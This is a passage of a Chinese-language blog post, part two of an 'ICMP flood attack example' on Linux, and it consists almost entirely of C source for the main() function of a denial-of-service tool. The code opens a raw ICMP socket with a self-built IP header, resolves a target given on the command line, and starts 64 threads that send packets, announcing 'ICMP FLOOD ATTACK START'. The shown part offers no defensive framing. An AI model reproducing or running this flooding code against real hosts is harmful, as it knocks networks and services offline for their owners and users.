Linux--ICMP洪水攻击的实例介绍(2)-木庄网络博客

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int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包  
  int err = 0;
 
  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }
 
  signal(SIGINT, Dos_Sig);
 
  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }
 
  PROTO_ICMP = protocol->p_proto;
 
  dest = inet_addr(argv[1]);
 
  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);
 
  }
 
  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }
 
  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));
 
  printf("ICMP FLOOD ATTACK START\n");
 
  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }
 
  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }
 
  printf("ICMP ATTACK FINISHI!\n");
 
  close(rawsock);
 
  return 0;
}